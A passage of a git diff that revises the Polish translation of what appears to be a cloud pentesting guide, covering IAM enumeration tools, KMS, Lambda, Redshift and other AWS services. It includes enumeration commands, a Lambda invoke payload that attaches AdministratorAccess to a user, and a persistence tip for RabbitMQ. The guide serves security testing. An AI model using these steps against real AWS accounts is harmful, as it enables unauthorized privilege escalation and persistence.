CloudTrail, aby wydobyć i podsumować działania** wykonane przez wszystkich lub tylko przez konkretnego użytkownika lub rolę. Narzędzie **przeanalizuje każdy log cloudtrail z wskazanego bucketu**. +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) to narzędzie w Pythonie, które analizuje **logi AWS CloudTrail, aby wydobyć i podsumować działania** wykonane przez wszystkich lub tylko konkretnego użytkownika lub rolę. Narzędzie **przeanalizuje każdy log cloudtrail z wskazanego bucketu**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM @@ -130,7 +130,7 @@ python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PR #### enumerate-iam -Aby użyć narzędzia [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), najpierw musisz pobrać wszystkie punkty końcowe API AWS, z których skrypt **`generate_bruteforce_tests.py`** pobierze wszystkie **"list\_", "describe\_" i "get\_" punkty końcowe.** A na koniec spróbuje **uzyskać do nich dostęp** za pomocą podanych poświadczeń i **wskaże, czy to zadziałało**. +Aby użyć narzędzia [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), najpierw musisz pobrać wszystkie punkty końcowe API AWS, z których skrypt **`generate_bruteforce_tests.py`** pobierze wszystkie **"list\_", "describe\_", i "get\_" punkty końcowe.** A na koniec spróbuje **uzyskać do nich dostęp** za pomocą podanych poświadczeń i **wskaże, czy to zadziałało**. (W moim doświadczeniu **narzędzie zawiesza się w pewnym momencie**, [**sprawdź to rozwiązanie**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), aby spróbować to naprawić). @@ -210,13 +210,13 @@ steampipe dashboard Żadne z poprzednich narzędzi nie jest w stanie sprawdzić prawie wszystkich uprawnień, więc jeśli znasz lepsze narzędzie, wyślij PR! -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md {{#endref}} -### Privilege Escalation +### Eskalacja uprawnień Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień IAM, aby eskalować uprawnienia**: @@ -224,27 +224,27 @@ Na następnej stronie możesz sprawdzić, jak **nadużywać uprawnień IAM, aby ../aws-privilege-escalation/aws-iam-privesc.md {{#endref}} -### IAM Post Exploitation +### IAM Po Eksploatacji {{#ref}} ../aws-post-exploitation/aws-iam-post-exploitation.md {{#endref}} -### IAM Persistence +### Utrzymywanie IAM {{#ref}} ../aws-persistence/aws-iam-persistence.md {{#endref}} -## IAM Identity Center +## Centrum tożsamości IAM -Możesz znaleźć **opis IAM Identity Center** w: +Możesz znaleźć **opis Centrum tożsamości IAM** w: {{#ref}} ../aws-basic-information/ {{#endref}} -### Connect via SSO with CLI +### Połączenie przez SSO z CLI ```bash # Connect with sso via CLI aws configure sso aws configure sso @@ -263,10 +263,10 @@ Główne elementy Identity Center to: - Zestawy uprawnień: Mają przypisane polityki - Konta AWS -Następnie tworzone są relacje, aby użytkownicy/grupy miały Zestawy uprawnień nad Kontem AWS. +Następnie tworzone są relacje, aby użytkownicy/grupy miały zestawy uprawnień nad kontem AWS. > [!NOTE] -> Zauważ, że istnieją 3 sposoby przypisania polityk do Zestawu uprawnień. Przypisanie polityk zarządzanych przez AWS, polityk zarządzanych przez klienta (te polityki muszą być tworzone we wszystkich kontach, na które wpływa Zestaw uprawnień) oraz polityk inline (zdefiniowanych tam). +> Zauważ, że istnieją 3 sposoby przypisania polityk do zestawu uprawnień. Przypisanie polityk zarządzanych przez AWS, polityk zarządzanych przez klienta (te polityki muszą być tworzone we wszystkich kontach, na które wpływa zestaw uprawnień) oraz polityk inline (zdefiniowanych tam). ```bash # Check if IAM Identity Center is used aws sso-admin list-instances diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index 8aac307c9..411d0879b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,9 +4,9 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose to **w pełni zarządzana usługa**, która ułatwia dostarczanie **danych strumieniowych w czasie rzeczywistym**. Obsługuje różne miejsca docelowe, w tym Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk i niestandardowe punkty końcowe HTTP. +Amazon Kinesis Data Firehose to **w pełni zarządzana usługa**, która ułatwia dostarczanie **danych strumieniowych w czasie rzeczywistym**. Obsługuje różnorodne miejsca docelowe, w tym Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk i niestandardowe punkty końcowe HTTP. -Usługa ta eliminuje potrzebę pisania aplikacji lub zarządzania zasobami, umożliwiając producentom danych skonfigurowanie ich do bezpośredniego przesyłania danych do Kinesis Data Firehose. Usługa ta odpowiada za **automatyczne dostarczanie danych do określonego miejsca docelowego**. Dodatkowo, Kinesis Data Firehose oferuje opcję **przekształcania danych przed ich dostarczeniem**, co zwiększa jej elastyczność i zastosowanie w różnych przypadkach użycia. +Usługa ta eliminuje potrzebę pisania aplikacji lub zarządzania zasobami, umożliwiając producentom danych skonfigurowanie przesyłania danych bezpośrednio do Kinesis Data Firehose. Usługa ta odpowiada za **automatyczne dostarczanie danych do określonego miejsca docelowego**. Dodatkowo, Kinesis Data Firehose oferuje opcję **przekształcania danych przed ich dostarczeniem**, co zwiększa jej elastyczność i zastosowanie w różnych przypadkach użycia. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index ca841895f..8793a0a0f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -4,7 +4,7 @@ ## KMS - Usługa Zarządzania Kluczami -AWS Key Management Service (AWS KMS) jest przedstawiana jako zarządzana usługa, upraszczająca proces dla użytkowników w **tworzeniu i zarządzaniu kluczami głównymi klientów** (CMK). Te CMK są integralne w szyfrowaniu danych użytkowników. Cechą wyróżniającą AWS KMS jest to, że CMK są głównie **zabezpieczane przez moduły bezpieczeństwa sprzętowego** (HSM), co zwiększa ochronę kluczy szyfrujących. +AWS Key Management Service (AWS KMS) jest przedstawiana jako zarządzana usługa, upraszczająca proces **tworzenia i zarządzania kluczami głównymi klientów** (CMK). Te CMK są integralne w szyfrowaniu danych użytkowników. Cechą wyróżniającą AWS KMS jest to, że CMK są głównie **zabezpieczane przez moduły bezpieczeństwa sprzętowego** (HSM), co zwiększa ochronę kluczy szyfrujących. KMS używa **szyfrowania symetrycznego**. Jest ono używane do **szyfrowania informacji w spoczynku** (na przykład, wewnątrz S3). Jeśli potrzebujesz **szyfrować informacje w tranzycie**, musisz użyć czegoś takiego jak **TLS**. @@ -12,14 +12,14 @@ KMS jest **usługą specyficzną dla regionu**. **Administratorzy w Amazonie nie mają dostępu do twoich kluczy**. Nie mogą odzyskać twoich kluczy i nie pomagają w szyfrowaniu twoich kluczy. AWS po prostu zarządza systemem operacyjnym i podstawową aplikacją, to my musimy zarządzać naszymi kluczami szyfrującymi i kontrolować, jak te klucze są używane. -**Klucze Główne Klienta** (CMK): Mogą szyfrować dane o rozmiarze do 4KB. Zwykle są używane do tworzenia, szyfrowania i deszyfrowania DEK-ów (Kluczy Szyfrujących Danych). Następnie DEK-i są używane do szyfrowania danych. +**Klucze Główne Klienta** (CMK): Mogą szyfrować dane o rozmiarze do 4KB. Zwykle są używane do tworzenia, szyfrowania i deszyfrowania DEK-ów (Kluczy Szyfrowania Danych). Następnie DEK-i są używane do szyfrowania danych. -Klucz główny klienta (CMK) jest logiczną reprezentacją klucza głównego w AWS KMS. Oprócz identyfikatorów klucza głównego i innych metadanych, w tym daty utworzenia, opisu i stanu klucza, **CMK zawiera materiał klucza, który jest używany do szyfrowania i deszyfrowania danych**. Kiedy tworzysz CMK, domyślnie AWS KMS generuje materiał klucza dla tego CMK. Możesz jednak zdecydować się na utworzenie CMK bez materiału klucza, a następnie zaimportować własny materiał klucza do tego CMK. +Klucz główny klienta (CMK) jest logiczną reprezentacją klucza głównego w AWS KMS. Oprócz identyfikatorów klucza głównego i innych metadanych, w tym daty utworzenia, opisu i stanu klucza, **CMK zawiera materiał kluczowy, który jest używany do szyfrowania i deszyfrowania danych**. Gdy tworzysz CMK, domyślnie AWS KMS generuje materiał kluczowy dla tego CMK. Możesz jednak zdecydować się na utworzenie CMK bez materiału kluczowego, a następnie zaimportować własny materiał kluczowy do tego CMK. Istnieją 2 typy kluczy głównych: - **CMK zarządzane przez AWS: Używane przez inne usługi do szyfrowania danych**. Są używane przez usługę, która je utworzyła w danym regionie. Są tworzone po raz pierwszy, gdy wdrażasz szyfrowanie w tej usłudze. Rotują co 3 lata i nie ma możliwości ich zmiany. -- **CMK zarządzane przez klienta**: Elastyczność, rotacja, konfigurowalny dostęp i polityka klucza. Włączanie i wyłączanie kluczy. +- **CMK zarządzane przez klienta**: Elastyczność, rotacja, konfigurowalny dostęp i polityka kluczy. Włączanie i wyłączanie kluczy. **Szyfrowanie w Kopercie** w kontekście Usługi Zarządzania Kluczami (KMS): System hierarchii dwupoziomowej do **szyfrowania danych za pomocą klucza danych, a następnie szyfrowania klucza danych za pomocą klucza głównego**. @@ -29,17 +29,17 @@ Te definiują **kto może używać i uzyskiwać dostęp do klucza w KMS**. **Domyślnie:** -- Daje to **IAM konta AWS, które posiada klucz KMS dostęp** do zarządzania dostępem do klucza KMS za pośrednictwem IAM. +- Daje dostęp **IAM konta AWS, które posiada klucz KMS, do zarządzania dostępem do klucza KMS za pośrednictwem IAM**. W przeciwieństwie do innych polityk zasobów AWS, polityka **klucza KMS AWS nie przyznaje automatycznie uprawnień żadnemu z podmiotów konta**. Aby przyznać uprawnienia administratorom konta, **polityka klucza musi zawierać wyraźne oświadczenie** przyznające te uprawnienia, takie jak to. -- Bez zezwolenia konta (`"AWS": "arn:aws:iam::111122223333:root"`) uprawnienia IAM nie będą działać. +- Bez zezwolenia dla konta (`"AWS": "arn:aws:iam::111122223333:root"`) uprawnienia IAM nie będą działać. -- **Pozwala to kontu używać polityk IAM** do zezwolenia na dostęp do klucza KMS, oprócz polityki klucza. +- **Pozwala kontu używać polityk IAM** do zezwolenia na dostęp do klucza KMS, oprócz polityki klucza. **Bez tego zezwolenia polityki IAM, które pozwalają na dostęp do klucza, są nieskuteczne**, chociaż polityki IAM, które odmawiają dostępu do klucza, są nadal skuteczne. -- **Zmniejsza ryzyko, że klucz stanie się niezarządzalny** poprzez przyznanie uprawnień do kontroli dostępu administratorom konta, w tym użytkownikowi głównemu konta, którego nie można usunąć. +- **Zmniejsza ryzyko, że klucz stanie się niezarządzalny**, przyznając uprawnienia do kontroli dostępu administratorom konta, w tym użytkownikowi głównemu konta, którego nie można usunąć. **Przykład domyślnej polityki**: ```json @@ -69,30 +69,30 @@ Właściwości polityki: - Podmiot --> arn dotknięty - Warunki (opcjonalne) --> Warunek przyznający uprawnienia -Uprawnienia: +Granty: -- Zezwala na delegowanie swoich uprawnień innemu podmiotowi AWS w ramach twojego konta AWS. Musisz je utworzyć za pomocą interfejsów API AWS KMS. Można wskazać identyfikator CMK, podmiot uprawniony i wymagany poziom operacji (Decrypt, Encrypt, GenerateDataKey...) -- Po utworzeniu uprawnienia wydawany jest GrantToken i GrantID +- Zezwala na delegowanie swoich uprawnień innemu podmiotowi AWS w ramach twojego konta AWS. Musisz je utworzyć za pomocą interfejsów API AWS KMS. Można wskazać identyfikator CMK, podmiot granta oraz wymagany poziom operacji (Decrypt, Encrypt, GenerateDataKey...) +- Po utworzeniu grantu wydawany jest GrantToken i GrantID **Dostęp**: - Poprzez **politykę klucza** -- Jeśli to istnieje, ma **pierwszeństwo** przed polityką IAM - Poprzez **politykę IAM** -- Poprzez **uprawnienia** +- Poprzez **granty**
### Administratorzy kluczy -Administratorzy kluczy domyślnie: +Administrator kluczy domyślnie: -- Mają dostęp do zarządzania KMS, ale nie do szyfrowania ani deszyfrowania danych +- Ma dostęp do zarządzania KMS, ale nie do szyfrowania lub deszyfrowania danych - Tylko użytkownicy i role IAM mogą być dodawani do listy administratorów kluczy (nie grupy) - Jeśli używany jest zewnętrzny CMK, administratorzy kluczy mają uprawnienia do importowania materiału klucza ### Rotacja CMK -- Im dłużej ten sam klucz pozostaje na miejscu, tym więcej danych jest szyfrowanych tym kluczem, a jeśli ten klucz zostanie naruszony, tym szerszy obszar danych jest narażony na ryzyko. Oprócz tego, im dłużej klucz jest aktywny, tym większe prawdopodobieństwo, że zostanie naruszony. +- Im dłużej ten sam klucz pozostaje na miejscu, tym więcej danych jest szyfrowanych tym kluczem, a jeśli ten klucz zostanie naruszony, tym szerszy obszar danych jest zagrożony. Oprócz tego, im dłużej klucz jest aktywny, tym większe prawdopodobieństwo jego naruszenia. - **KMS rotuje klucze klientów co 365 dni** (lub możesz przeprowadzić ten proces ręcznie, kiedy chcesz) oraz **klucze zarządzane przez AWS co 3 lata**, a tego czasu nie można zmienić. - **Starsze klucze są zachowywane** do deszyfrowania danych, które zostały zaszyfrowane przed rotacją - W przypadku naruszenia, rotacja klucza nie usunie zagrożenia, ponieważ możliwe będzie deszyfrowanie wszystkich danych zaszyfrowanych skompromitowanym kluczem. Jednak **nowe dane będą szyfrowane nowym kluczem**. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 52ac59859..98587c08e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ Aby wywołać lambdę, można ją wywoływać **tak często, jak chcesz** (z Clo ### Wagi aliasów Lambda -Lambda może mieć **kilka wersji**.\ +Lambdę można mieć **wiele wersji**.\ Może mieć **więcej niż 1** wersję udostępnioną za pomocą **aliasów**. **Wagi** **każdej** z **wersji** udostępnionych w aliasie zdecydują, **który alias otrzyma wywołanie** (może to być na przykład 90%-10%).\ Jeśli kod **jednego** z aliasów jest **vulnerable**, możesz wysyłać **żądania, aż podatna** wersja otrzyma exploit. @@ -20,18 +20,18 @@ Jeśli kod **jednego** z aliasów jest **vulnerable**, możesz wysyłać **żąd ### Polityki zasobów -Polityki zasobów Lambda pozwalają na **udzielenie dostępu innym usługom/kontom do wywoływania** lambdy na przykład.\ -Na przykład, oto polityka, która pozwala **każdemu na dostęp do lambdy udostępnionej za pomocą URL**: +Polityki zasobów Lambda pozwalają na **udzielanie dostępu innym usługom/kontom do wywoływania** lambdy na przykład.\ +Na przykład to jest polityka, aby zezwolić **komukolwiek na dostęp do lambdy udostępnionej za pomocą URL**:
-Lub to, aby pozwolić API Gateway na wywołanie: +Lub to, aby zezwolić API Gateway na wywołanie:
### Proxies bazy danych Lambda -Gdy jest **setki** **równoległych żądań lambda**, jeśli każde z nich musi **połączyć się i zamknąć połączenie z bazą danych**, to po prostu nie zadziała (lambdy są bezstanowe, nie mogą utrzymywać otwartych połączeń).\ +Gdy jest **setki** **równoległych żądań lambdy**, jeśli każde z nich musi **połączyć się i zamknąć połączenie z bazą danych**, to po prostu nie zadziała (lambdy są bezstanowe, nie mogą utrzymywać otwartych połączeń).\ Wtedy, jeśli Twoje **funkcje Lambda współdziałają z RDS Proxy zamiast** z instancją bazy danych. Obsługuje pulowanie połączeń niezbędne do skalowania wielu równoległych połączeń tworzonych przez równoległe funkcje Lambda. To pozwala Twoim aplikacjom Lambda na **ponowne wykorzystanie istniejących połączeń**, zamiast tworzenia nowych połączeń dla każdego wywołania funkcji. ### Systemy plików EFS Lambda @@ -40,20 +40,20 @@ Aby zachować i nawet dzielić dane, **Lambdy mogą uzyskiwać dostęp do EFS i ### Warstwy Lambda -Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne. +Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowe środowisko uruchomieniowe](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne. Można dołączyć do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym. Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla Twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli Twoje funkcje korzystają z warstwy, którą opublikowało inne konto, Twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu Twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy. -Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu. +Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swoje preferowane środowisko uruchomieniowe, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu. ### Rozszerzenia Lambda Rozszerzenia Lambda wzbogacają funkcje, integrując się z różnymi **narzędziami monitorującymi, obserwacyjnymi, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub zawarte w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**. -- **Wewnętrzne rozszerzenia** łączą się z procesem runtime, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych runtime'ów, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**. -- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi runtime'ami, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi runtime'ami**. +- **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**. +- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowe środowiska uruchomieniowe**. ### Enumeracja ```bash @@ -103,7 +103,7 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` -#### Poprzez wystawiony URL +#### Poprzez ujawniony URL ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index b7117b56e..94d618009 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,8 +4,8 @@ ## AWS - Lightsail -Amazon Lightsail oferuje **łatwy**, lekki sposób dla nowych użytkowników chmury, aby skorzystać z usług obliczeniowych AWS. Umożliwia wdrażanie powszechnych i niestandardowych usług internetowych w ciągu kilku sekund za pomocą **VM** (**EC2**) i **kontenerów**.\ -To **minimalne EC2 + Route53 + ECS**. +Amazon Lightsail oferuje **łatwy**, lekki sposób dla nowych użytkowników chmury na korzystanie z usług obliczeniowych AWS. Umożliwia wdrażanie powszechnych i niestandardowych usług internetowych w ciągu kilku sekund za pomocą **VM** (**EC2**) i **kontenerów**.\ +To **minimalny EC2 + Route53 + ECS**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 489763dda..ca2c65de7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,7 +6,7 @@ ### Wprowadzenie do brokerów wiadomości -**Brokerzy wiadomości** działają jako pośrednicy, ułatwiając komunikację między różnymi systemami oprogramowania, które mogą być zbudowane na różnych platformach i programowane w różnych językach. **Amazon MQ** upraszcza wdrażanie, obsługę i utrzymanie brokerów wiadomości na AWS. Oferuje zarządzane usługi dla **Apache ActiveMQ** i **RabbitMQ**, zapewniając bezproblemowe dostarczanie i automatyczne aktualizacje wersji oprogramowania. +**Brokerzy wiadomości** działają jako pośrednicy, ułatwiając komunikację między różnymi systemami oprogramowania, które mogą być zbudowane na różnych platformach i zaprogramowane w różnych językach. **Amazon MQ** upraszcza wdrażanie, działanie i utrzymanie brokerów wiadomości na AWS. Oferuje zarządzane usługi dla **Apache ActiveMQ** i **RabbitMQ**, zapewniając bezproblemowe dostarczanie i automatyczne aktualizacje wersji oprogramowania. ### AWS - RabbitMQ @@ -64,7 +64,7 @@ aws mq create-user --broker-id --password --username --c ## Persistence -Jeśli znasz dane logowania do konsoli internetowej RabbitMQ, możesz utworzyć nowego użytkownika z uprawnieniami administratora. +Jeśli znasz dane uwierzytelniające do dostępu do konsoli internetowej RabbitMQ, możesz utworzyć nowego użytkownika z uprawnieniami administratora. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index cd8da2f41..99e1cca39 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -14,9 +14,9 @@ AWS pozwala na tworzenie 2 typów klastrów Kafka: Provisioned i Serverless. Z punktu widzenia atakującego należy wiedzieć, że: -- **Serverless nie może być bezpośrednio publiczny** (może działać tylko w VPN bez publicznie wystawionego IP). Jednak **Provisioned** można skonfigurować, aby uzyskać **publiczny IP** (domyślnie tego nie robi) i skonfigurować **grupę zabezpieczeń**, aby **ujawnić** odpowiednie porty. +- **Serverless nie może być bezpośrednio publiczny** (może działać tylko w VPN bez publicznie wystawionego IP). Jednak **Provisioned** może być skonfigurowany do uzyskania **publicznego IP** (domyślnie tego nie robi) i skonfigurowania **grupy zabezpieczeń** w celu **wystawienia** odpowiednich portów. - **Serverless** **obsługuje tylko IAM** jako metodę uwierzytelniania. **Provisioned** obsługuje uwierzytelnianie SASL/SCRAM (**hasło**), uwierzytelnianie **IAM**, uwierzytelnianie AWS **Certificate** Manager (ACM) oraz dostęp **nieautoryzowany**. -- Należy zauważyć, że nie jest możliwe publiczne ujawnienie Provisioned Kafka, jeśli dostęp nieautoryzowany jest włączony. +- Należy zauważyć, że nie jest możliwe publiczne wystawienie Provisioned Kafka, jeśli dostęp nieautoryzowany jest włączony. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index dce99abb0..a29ef64fb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,7 +4,45 @@ ## Amazon Redshift -Redshift to w pełni zarządzana usługa, która może skalować się do ponad petabajta, używana jako **hurtownia danych dla rozwiązań big data**. Używając klastrów Redshift, możesz przeprowadzać analizy na swoich zbiorach danych za pomocą szybkich narzędzi zapytań opartych na SQL i aplikacji analitycznych, aby lepiej zrozumieć wizję swojego biznesu +Redshift to w pełni zarządzana usługa, która może skalować się do ponad petabajta rozmiaru, używana jako **hurtownia danych dla rozwiązań big data**. Używając klastrów Redshift, możesz przeprowadzać analizy na swoich zbiorach danych, korzystając z szybkich narzędzi zapytań opartych na SQL i aplikacji analitycznych, aby lepiej zrozumieć wizję swojego biznesu. + +**Redshift oferuje szyfrowanie w spoczynku, używając czteropoziomowej hierarchii kluczy szyfrujących, korzystając z KMS lub CloudHSM do zarządzania najwyższym poziomem kluczy**. **Gdy szyfrowanie jest włączone dla twojego klastra, nie można go wyłączyć i odwrotnie**. Gdy masz nieszyfrowany klaster, nie można go zaszyfrować. + +Szyfrowanie dla twojego klastra może odbyć się tylko podczas jego tworzenia, a po zaszyfrowaniu dane, metadane i wszelkie migawki są również szyfrowane. Poziomy hierarchii kluczy szyfrujących są następujące: **poziom pierwszy to klucz główny, poziom drugi to klucz szyfrowania klastra, CEK, poziom trzeci to klucz szyfrowania bazy danych, DEK, a na końcu poziom czwarty to same klucze szyfrowania danych**. + +### KMS + +Podczas tworzenia swojego klastra możesz wybrać **domyślny klucz KMS** dla Redshift lub wybrać **własny CMK**, co daje ci większą elastyczność w kontroli klucza, szczególnie z perspektywy audytowej. + +Domyślny klucz KMS dla Redshift jest automatycznie tworzony przez Redshift za pierwszym razem, gdy opcja klucza jest wybrana i używana, i jest w pełni zarządzany przez AWS. + +Ten klucz KMS jest następnie szyfrowany kluczem głównym CMK, poziom pierwszy. Ten zaszyfrowany klucz danych KMS jest następnie używany jako klucz szyfrowania klastra, CEK, poziom drugi. Ten CEK jest następnie wysyłany przez KMS do Redshift, gdzie jest przechowywany oddzielnie od klastra. Redshift następnie wysyła ten zaszyfrowany CEK do klastra przez bezpieczny kanał, gdzie jest przechowywany w pamięci. + +Redshift następnie żąda od KMS odszyfrowania CEK, poziom drugi. Ten odszyfrowany CEK jest następnie również przechowywany w pamięci. Redshift następnie tworzy losowy klucz szyfrowania bazy danych, DEK, poziom trzeci, i ładuje go do pamięci klastra. Odszyfrowany CEK w pamięci następnie szyfruje DEK, który również jest przechowywany w pamięci. + +Ten zaszyfrowany DEK jest następnie wysyłany przez bezpieczny kanał i przechowywany w Redshift oddzielnie od klastra. Zarówno CEK, jak i DEK są teraz przechowywane w pamięci klastra zarówno w formie zaszyfrowanej, jak i odszyfrowanej. Odszyfrowany DEK jest następnie używany do szyfrowania kluczy danych, poziom czwarty, które są losowo generowane przez Redshift dla każdego bloku danych w bazie danych. + +Możesz użyć AWS Trusted Advisor, aby monitorować konfigurację swoich koszyków Amazon S3 i upewnić się, że logowanie koszyków jest włączone, co może być przydatne do przeprowadzania audytów bezpieczeństwa i śledzenia wzorców użycia w S3. + +### CloudHSM + +
+ +Używanie Redshift z CloudHSM + +Podczas pracy z CloudHSM w celu przeprowadzenia szyfrowania, najpierw musisz skonfigurować zaufane połączenie między swoim klientem HSM a Redshift, używając certyfikatów klienta i serwera. + +To połączenie jest wymagane do zapewnienia bezpiecznej komunikacji, umożliwiając przesyłanie kluczy szyfrujących między twoim klientem HSM a klastrami Redshift. Używając losowo wygenerowanej pary kluczy prywatnych i publicznych, Redshift tworzy publiczny certyfikat klienta, który jest szyfrowany i przechowywany przez Redshift. Musi być on pobrany i zarejestrowany w twoim kliencie HSM oraz przypisany do odpowiedniej partycji HSM. + +Następnie musisz skonfigurować Redshift z następującymi danymi swojego klienta HSM: adres IP HSM, nazwa partycji HSM, hasło partycji HSM oraz publiczny certyfikat serwera HSM, który jest szyfrowany przez CloudHSM przy użyciu wewnętrznego klucza głównego. Po podaniu tych informacji, Redshift potwierdzi i zweryfikuje, że może połączyć się i uzyskać dostęp do partycji deweloperskiej. + +Jeśli twoje wewnętrzne polityki bezpieczeństwa lub kontrole zarządzania nakazują, abyś zastosował rotację kluczy, to jest to możliwe z Redshift, umożliwiając ci rotację kluczy szyfrujących dla zaszyfrowanych klastrów, jednak musisz być świadomy, że podczas procesu rotacji kluczy klaster będzie niedostępny przez bardzo krótki czas, dlatego najlepiej jest rotować klucze tylko wtedy, gdy jest to konieczne, lub jeśli uważasz, że mogły zostać skompromitowane. + +Podczas rotacji Redshift obróci CEK dla twojego klastra oraz dla wszelkich kopii zapasowych tego klastra. Obróci DEK dla klastra, ale nie jest możliwe obrócenie DEK dla migawek przechowywanych w S3, które zostały zaszyfrowane przy użyciu DEK. Klaster zostanie umieszczony w stanie 'rotacji kluczy', aż proces zostanie zakończony, kiedy status powróci do 'dostępny'. + +
